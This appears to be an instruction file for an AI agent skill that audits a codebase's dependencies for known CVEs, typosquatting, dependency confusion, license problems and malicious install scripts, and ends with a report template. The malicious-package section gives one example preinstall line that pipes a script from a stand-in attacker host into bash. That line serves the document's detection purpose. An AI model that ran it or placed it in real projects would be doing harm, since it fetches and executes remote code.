perseus-supply-chain

Perseus Supply Chain Specialist

Context & Authorization

IMPORTANT: This skill performs supply chain security analysis on the user's own codebase. This is defensive security testing to find vulnerable dependencies before they're exploited.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.

---

Multi-Language Support

Language	Package Managers	Manifest Files
JavaScript/TypeScript	npm, yarn, pnpm, bun	package.json, package-lock.json, yarn.lock, pnpm-lock.yaml
Go	go modules	go.mod, go.sum
PHP	Composer	composer.json, composer.lock
Python	pip, poetry, pipenv	requirements.txt, Pipfile, pyproject.toml, poetry.lock
Rust	Cargo	Cargo.toml, Cargo.lock
Java	Maven, Gradle	pom.xml, build.gradle, gradle.lockfile
Ruby	Bundler	Gemfile, Gemfile.lock
C#	NuGet	*.csproj, packages.config, packages.lock.json

---

Overview

This specialist skill performs comprehensive supply chain analysis including known vulnerabilities (CVEs), dependency confusion, typosquatting, and license compliance.

When to Use: After /scan identifies package manifests, or as regular security hygiene check.

Goal: Identify vulnerable, malicious, or risky dependencies before they compromise the application.

Engagement Mode Compatibility

Mode	Specialist Behavior
PRODUCTION_SAFE	Manifest and advisory analysis only (passive)
STAGING_ACTIVE	Controlled resolver/registry validation in staging
LAB_FULL	Deep dependency behavior validation in isolated lab
LAB_RED_TEAM	Confusion/typosquat simulation against private test registries only

Safety Gates (Required)

1. Read deliverables/engagement_profile.md before active package resolution checks.
2. Default to PRODUCTION_SAFE when mode is missing.
3. Apply kill-switch thresholds for any active install/build experiments.
4. Never publish or interact with unauthorized public packages as part of testing.

Supply Chain Risks Covered

Risk	Description	Impact
Known CVEs	Published vulnerabilities	Exploitation
Typosquatting	Malicious similar-named packages	Malware
Dependency Confusion	Private/public package name collision	Code execution
Outdated Dependencies	Old versions with known issues	Security debt
License Issues	GPL in proprietary, license conflicts	Legal risk
Malicious Packages	Intentionally harmful packages	Backdoor
Abandoned Packages	Unmaintained dependencies	Future risk

Execution Instructions

Step 0: Mode & Scope Alignment

• Load mode/scope/limits from deliverables/engagement_profile.md.
• Respect deliverables/verification_scope.md if present.
• Keep production operations read-only and advisory-driven.

Phase 1: Manifest Discovery (1 Agent)

1. Manifest Scanner:

   • "Find all package manifest files in the repository."

   Files to Find:

   # JavaScript/TypeScript
   package.json
   package-lock.json
   yarn.lock
   pnpm-lock.yaml
   bun.lockb
   
   # Go
   go.mod
   go.sum
   
   # PHP
   composer.json
   composer.lock
   
   # Python
   requirements.txt
   requirements-*.txt
   Pipfile
   Pipfile.lock
   pyproject.toml
   poetry.lock
   
   # Rust
   Cargo.toml
   Cargo.lock
   
   # Java
   pom.xml
   build.gradle
   build.gradle.kts
   gradle.lockfile
   
   # Ruby
   Gemfile
   Gemfile.lock
   
   # C#
   *.csproj
   packages.config
   Directory.Packages.props
   

Phase 2: Vulnerability Analysis (4 Parallel Agents)

1. JavaScript CVE Analyst:

   • "Analyze JavaScript/TypeScript dependencies for known CVEs."

   Check Using:

   • npm audit data
   • Snyk vulnerability database
   • GitHub Advisory Database
   • NVD (National Vulnerability Database)

   Output Format:

   | Package | Version | CVE | Severity | Fixed In |
   |---------|---------|-----|----------|----------|
   | lodash | 4.17.15 | CVE-2021-23337 | High | 4.17.21 |
   

2. Go CVE Analyst:

   • "Analyze Go dependencies for known CVEs."

   Check:

   • govulncheck database
   • Go vulnerability database (vuln.go.dev)

3. Python CVE Analyst:

   • "Analyze Python dependencies for known CVEs."

   Check:

   • PyPI Advisory Database
   • Safety DB
   • pip-audit data

4. Multi-Language CVE Analyst:

   • "Analyze PHP, Rust, Java, Ruby, C# dependencies."

   Check:

   • Packagist Security Advisories (PHP)
   • RustSec Advisory Database (Rust)
   • Maven Central advisories (Java)
   • Ruby Advisory Database (Ruby)
   • NuGet advisories (C#)

Phase 3: Typosquatting Detection (2 Parallel Agents)

1. JavaScript Typosquatting Analyst:

   • "Check for typosquatted package names in JavaScript dependencies."

   Common Patterns:

   Real Package	Typosquat Examples
   lodash	lodsh, lodahs, 1odash, lodash-utils
   express	expres, expresss, expess
   react	raect, reakt, reactjs (unofficial)
   axios	axois, axio, axiosjs

   Detection Rules:

   • Character substitution (l -> 1, o -> 0)
   • Character omission/addition
   • Character transposition
   • Hyphen/underscore variations
   • Scope confusion (@org/pkg vs @0rg/pkg)

2. Multi-Language Typosquatting Analyst:

   • "Check typosquatting in Go, Python, PHP, Rust, Ruby."

   Python Examples:

   Real Package	Typosquat Examples
   requests	request, reqeusts
   django	djang0, djangoo
   flask	flaask, flaskk

Phase 4: Dependency Confusion Analysis (2 Parallel Agents)

1. Private Package Analyst:

   • "Identify private/internal packages that could be confused."

   Risk Pattern:

   // package.json - RISKY
   {
     "dependencies": {
       "@company/internal-lib": "^1.0.0"  // If not in private registry...
     }
   }
   

   Attack:

   • Attacker publishes @company/internal-lib to public npm
   • Build system fetches malicious public package
   • Code execution during install

   Check:

   • Scoped packages pointing to public registry
   • Private packages without registry lock
   • Missing .npmrc/.yarnrc configuration

2. Registry Configuration Analyst:

   • "Check registry configuration for private packages."

   Files to Check:

   .npmrc
   .yarnrc
   .yarnrc.yml
   .pip/pip.conf
   ~/.config/pip/pip.conf
   

Phase 5: Outdated Dependencies Analysis (2 Parallel Agents)

1. Major Version Gap Analyst:

   • "Find dependencies multiple major versions behind."

   Risk Levels:

   Gap	Risk	Example
   1 major	Low	Using React 17 when 18 is out
   2+ major	Medium	Using React 16 when 18 is out
   EOL	High	Using Node.js 14 (EOL)

2. Abandoned Package Analyst:

   • "Find dependencies that appear abandoned."

   Indicators:

   • No commits in 2+ years
   • No releases in 2+ years
   • Open security issues unaddressed
   • Maintainer unresponsive
   • "Looking for maintainer" in README

Phase 6: License Analysis (2 Parallel Agents)

1. License Compatibility Analyst:

   • "Check for license compatibility issues."

   Risk Matrix:

   Project License	Dependency License	Status
   MIT	MIT	OK
   MIT	Apache-2.0	OK
   MIT	GPL-3.0	PROBLEM (copyleft)
   Proprietary	GPL-3.0	PROBLEM (copyleft)
   Proprietary	AGPL-3.0	CRITICAL

2. License Discovery Analyst:

   • "Find packages with unclear or no license."

   Issues:

   • No LICENSE file
   • UNLICENSED or proprietary
   • Custom/unknown license
   • Multiple conflicting licenses

Phase 7: Malicious Package Detection (2 Parallel Agents)

1. Install Script Analyst:

   • "Check for suspicious install scripts."

   Patterns to Flag:

   // package.json - SUSPICIOUS
   {
     "scripts": {
       "preinstall": "curl evil.com/shell.sh | bash",
       "postinstall": "node ./scripts/setup.js"  // Check contents!
     }
   }
   

   Red Flags:

   • Network calls during install
   • Obfuscated code in install scripts
   • Environment variable exfiltration
   • Writing to system directories

2. Dependency Chain Analyst:

   • "Analyze transitive dependencies for risks."

   Issues:

   • Deep dependency chains (attack surface)
   • Single maintainer packages in chain
   • Recently transferred packages

Phase 8: Lockfile Analysis (1 Agent)

1. Lockfile Security Analyst:

   • "Check lockfile integrity and security."

   Issues:

   • Missing lockfile (non-reproducible builds)
   • Lockfile not committed
   • Lockfile/manifest mismatch
   • Integrity hashes missing (npm)
   • Registry URLs in lockfile (dependency confusion risk)

Output Requirements

Create deliverables/supply_chain_analysis.md:

# Supply Chain Security Analysis

## Summary
| Category | Packages Checked | Issues | Critical |
|----------|------------------|--------|----------|
| CVEs | X | Y | Z |
| Typosquatting | X | Y | Z |
| Dependency Confusion | X | Y | Z |
| Outdated | X | Y | Z |
| License | X | Y | Z |
| Malicious | X | Y | Z |

## Languages/Package Managers Detected
- JavaScript: npm (package.json)
- Python: pip (requirements.txt)
- Go: go modules (go.mod)

## Critical Vulnerabilities (CVEs)

### [CVE-2021-44228] Log4Shell in log4j
**Severity:** Critical (CVSS 10.0)
**Package:** org.apache.logging.log4j:log4j-core
**Installed Version:** 2.14.1
**Fixed Version:** 2.17.1
**Location:** pom.xml

**Description:** Remote code execution via JNDI lookup in log messages.

**Remediation:**
```xml
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.17.1</version>
</dependency>

---

[CVE-2022-0155] SSRF in follow-redirects

Severity: High (CVSS 8.0) Package: follow-redirects Installed Version: 1.14.5 Fixed Version: 1.14.7 Location: package-lock.json (transitive via axios)

---

Vulnerability Summary by Severity

Severity	Count	Packages
Critical	2	log4j, lodash
High	5	axios, node-forge, ...
Medium	12	...
Low	8	...

Typosquatting Risks

Installed	Suspicious	Confidence
lodsh	Likely typosquat of lodash	High
requests (in npm)	Python package in npm?	Medium

Dependency Confusion Risks

Package	Risk	Recommendation
@company/core	No registry lock	Add to .npmrc

Outdated Dependencies

Package	Current	Latest	Gap	Risk
react	16.14.0	18.2.0	2 major	Medium
node	14.x	20.x	EOL	High

License Issues

Package	License	Issue
some-lib	GPL-3.0	Copyleft in MIT project
unknown-pkg	UNLICENSED	No license

Recommendations

Immediate Actions

1. Update log4j to 2.17.1+
2. Update lodash to 4.17.21+
3. Review typosquatted packages
4. Configure private registry for @company/* packages

Security Hygiene

# JavaScript
npm audit fix
npm outdated

# Go
go get -u ./...
govulncheck ./...

# Python
pip-audit
pip list --outdated

# Rust
cargo audit
cargo update

Lockfile Best Practices

• Always commit lockfiles
• Use exact versions in production
• Enable npm's package-lock-only mode
• Configure registry in .npmrc

**Next Step:** CVE findings can be verified by checking exploit availability and running automated scanners.